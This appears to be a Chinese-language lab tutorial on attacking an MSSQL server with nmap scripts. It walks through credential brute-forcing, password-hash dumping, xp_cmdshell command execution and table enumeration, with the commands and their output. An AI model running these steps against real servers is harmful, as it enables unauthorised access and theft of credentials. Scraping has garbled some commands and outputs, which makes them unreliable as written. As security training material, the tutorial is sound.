利用Nmap对MSSQL进行渗透测试
2021-12-03 01:14:31 Author: mp.weixin.qq.com(查看原文) 阅读量:32 收藏

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利用nmap脚本对MS SQL Server 进行渗透测试,获取目标用户名、数据库表等信息。


准备阶段

攻击机器:Kali (装有nmap)

目标机器:Windows Server 2019 (安装SQL Server 2016)

nmap自带一系列用于测试的脚本,用于mssql的脚本可以通过如下语句查询:

$ locate *.nse | grep ms-sql    /usr/share/nmap/scripts/broadcast-ms-sql-discover.nse/usr/share/nmap/scripts/ms-sql-brute.nse/usr/share/nmap/scripts/ms-sql-config.nse/usr/share/nmap/scripts/ms-sql-dac.nse/usr/share/nmap/scripts/ms-sql-dump-hashes.nse/usr/share/nmap/scripts/ms-sql-empty-password.nse/usr/share/nmap/scripts/ms-sql-hasdbaccess.nse/usr/share/nmap/scripts/ms-sql-info.nse/usr/share/nmap/scripts/ms-sql-ntlm-info.nse/usr/share/nmap/scripts/ms-sql-query.nse/usr/share/nmap/scripts/ms-sql-tables.nse/usr/share/nmap/scripts/ms-sql-xp-cmdshell.nse

获取数据库版本信息

使用ms-sql-info脚本获取目标数据库版本等信息

nmap -p 1433 -Pn --script ms-sql-info 192.168.91.133//-p 表示指定端口号、-Pn:不检测主机存活、--script 指定脚本

获取的信息如下:


用户凭证爆破

使用ms-sql-brute脚本可以对数据库用户名和密码进行枚举和爆破

nmap -p 1433 -Pn --script ms-sql-brute --script-args userdb=mssql_user.txt,passdb=mssql_pass.txt 192.168.91.133// --script-args 指定脚本参数;userdb= 指定用户名字典 ;passdb= 指定密码字典

结果如下:

得到的用户名和密码:

sa:Password@123pentest:123456

执行SQL语句

利用前面得到的凭据,可以调用nmapms-sql-query脚本在目标上执行SQL查询

用法如下:

nmap -p1433 -Pn --script ms-sql-query --script-args mssql.username=sa,[email protected]123,ms-sql-query.query="SQL查询语句" 192.168.91.133

列出目标上的所有数据库

nmap -p1433 -Pn --script ms-sql-query --script-args mssql.username=sa,[email protected]123,ms-sql-query.query="sp_databases" 192.168.91.133Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 01:57 EDTNmap scan report for 192.168.91.133Host is up (0.00051s latency).
PORT STATE SERVICE1433/tcp open ms-sql-s| ms-sql-query:| [192.168.91.133:1433]| Query: sp_databases| DATABASE_NAME DATABASE_SIZE REMARKS| ============= ============= =======| master 7552 Null| model 16384 Null| msdb 21888 Null|_ tempdb 16384 Null
Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
NetBIOS 信息收集

利用ms-sql-ntlm-info脚本对启用 了NTLM 身份验证的远程SQL Server主机NetBIOS信息进行收集。

原理是发送无效域和空凭据的MS-TDS NTLM 身份验证请求将导致远程服务以 NTLMSSP 消息进行响应,该消息会泄露包括 NetBIOSDNS 和操作系统版本信息。

nmap -p1433 -Pn --script ms-sql-ntlm-info 192.168.91.133Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:08 EDTNmap scan report for 192.168.91.133Host is up (0.00053s latency).
PORT STATE SERVICE1433/tcp open ms-sql-s| ms-sql-ntlm-info:| Target_Name: WIN-8EIGFF6H8PR| NetBIOS_Domain_Name: WIN-8EIGFF6H8PR| NetBIOS_Computer_Name: WIN-8EIGFF6H8PR| DNS_Domain_Name: WIN-8EIGFF6H8PR| DNS_Computer_Name: WIN-8EIGFF6H8PR|_ Product_Version: 10.0.17763

MSSQL 密码哈希转储

使用ms-sql-dump-hashes可以导出mssql密码哈希,可以提供给John-the-ripper这类工具使用。

nmap -p 1433 -Pn --script ms-sql-dump-hashes --script-args mssql.username=sa,[email protected] 192.168.91.133Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:22 EDTNmap scan report for 192.168.91.133Host is up (0.0011s latency).
PORT STATE SERVICE1433/tcp open ms-sql-s| ms-sql-dump-hashes:| [192.168.91.133:1433]| sa:0x02002df771b8ffe860cb75e4bea87df48dd2fc38c35566eed3bf636aa962b2a24768387120df74d775627ea8ab10cd2339b525706fa0f68cbdff4580fcfddef2cb98493cce87| ##MS_PolicyEventProcessingLogin##:0x02001be8e4066350f72d7043e3b6fe080efb16a0cf424a4a1f078d84509d013946acaf49c08fdb534044432e474422769e4d43baa399bb094aa532e1333f6ec9c4eb01b4120c| ##MS_PolicyTsqlExecutionLogin##:0x02002f2e008251ee080daa07829e49ef4baf8624e26bc34a37096691751f83b4d7122f8bf1015db9ba5a519f483da5d366712c0fc54f8250ae8ce38db43e8e9f616cd0faab97|_ pentest:0x020025bc596aaf94a1f764ccaca6cd6d0615cfba0f01140879c21df33959e492254ef66d53ddbfb0c961e3f04bfb376294d7194fcd61b0b6b85b06387d6f975b92a779544ab6
Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds

命令执行

xp_cmdshellMicrosoft SQL Server 的一项功能,它允许系统管理员执行操作系统命令。默认情况下,xp_cmdshell 选项是禁用的。如果在目标服务器中启用了 xp_cmdshell,可以利用ms-sql-xp-cmdshell脚本在目标机器上执行系统命令。

nmap -p1433 -Pn --script ms-sql-xp-cmdshell --script-args mssql.username=sa,[email protected]123,ms-sql-xp-cmdshell.cmd="ipconfig" 192.168.91.133
//ms-sql-xp-cmdshell.cmd= 指定要执行的命令
nmap -p1433 -Pn --script ms-sql-xp-cmdshell --script-args mssql.username=sa,[email protected]123,ms-sql-xp-cmdshell.cmd="ipconfig" 192.168.91.133Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:28 EDTNmap scan report for 192.168.91.133Host is up (0.00047s latency).
PORT STATE SERVICE1433/tcp open ms-sql-s| ms-sql-xp-cmdshell:| [192.168.91.133:1433]| Command: ipconfig| output| ======| Null| Windows IP \xE9\x85\x8D\xE7\xBD\xAE| Null| Null| \xE4\xBB\xA5\xE5\xA4\xAA\xE7\xBD\x91\xE9\x80\x82\xE9\x85\x8D\xE5\x99\xA8 Ethernet0:| Null| \xE8\xBF\x9E\xE6\x8E\xA5\xE7\x89\xB9\xE5\xAE\x9A\xE7\x9A\x84 DNS \xE5\x90\x8E\xE7\xBC\x80 . . . . . . . : localdomain| \xE6\x9C\xAC\xE5\x9C\xB0\xE9\x93\xBE\xE6\x8E\xA5 IPv6 \xE5\x9C\xB0\xE5\x9D\x80. . . . . . . . : fe80::c0cf:a5e8:ba66:9b8d%6| IPv4 \xE5\x9C\xB0\xE5\x9D\x80 . . . . . . . . . . . . : 192.168.91.133| \xE5\xAD\x90\xE7\xBD\x91\xE6\x8E\xA9\xE7\xA0\x81 . . . . . . . . . . . . : 255.255.255.0| \xE9\xBB\x98\xE8\xAE\xA4\xE7\xBD\x91\xE5\x85\xB3. . . . . . . . . . . . . : 192.168.91.2|_ Null

空密码登录测试

如果管理员将密码设置为空,那么攻击者就可以直接登录到数据库。

利用ms-sql-empty-password脚本可以对目标进行SQL Server 空密码登录测试

nmap -p1433 -Pn --script ms-sql-empty-password 192.168.91.133Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:36 EDTNmap scan report for 192.168.91.133Host is up (0.00056s latency).
PORT STATE SERVICE1433/tcp open ms-sql-s| ms-sql-empty-password:| [192.168.91.133:1433]|_ sa:<empty> => Login Success
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds

查看数据库表

ms-sql-tables脚本可以列出目标的数据库表

Tips:默认情况下MSSQL中没有数据库,要新建一个数据库和插入表,不然执行下列脚本会报错。

nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,[email protected]123 192.168.91.133
nmap -p1433 -Pn --script ms-sql-tables --script-args mssql.username=sa,[email protected] 192.168.91.133Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 04:28 EDTNmap scan report for 192.168.91.133Host is up (0.00079s latency).
PORT STATE SERVICE1433/tcp open ms-sql-s| ms-sql-tables:| [192.168.91.133:1433]| pentest| table column type length| ===== ====== ==== ======| Table_1 password nchar 40| Table_1 username nchar 40| | Restrictions| Output restricted to 2 tables (see ms-sql-tables.maxtables)| Output restricted to 5 databases (see ms-sql-tables.maxdb)|_ No filter (see ms-sql-tables.keywords)
Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
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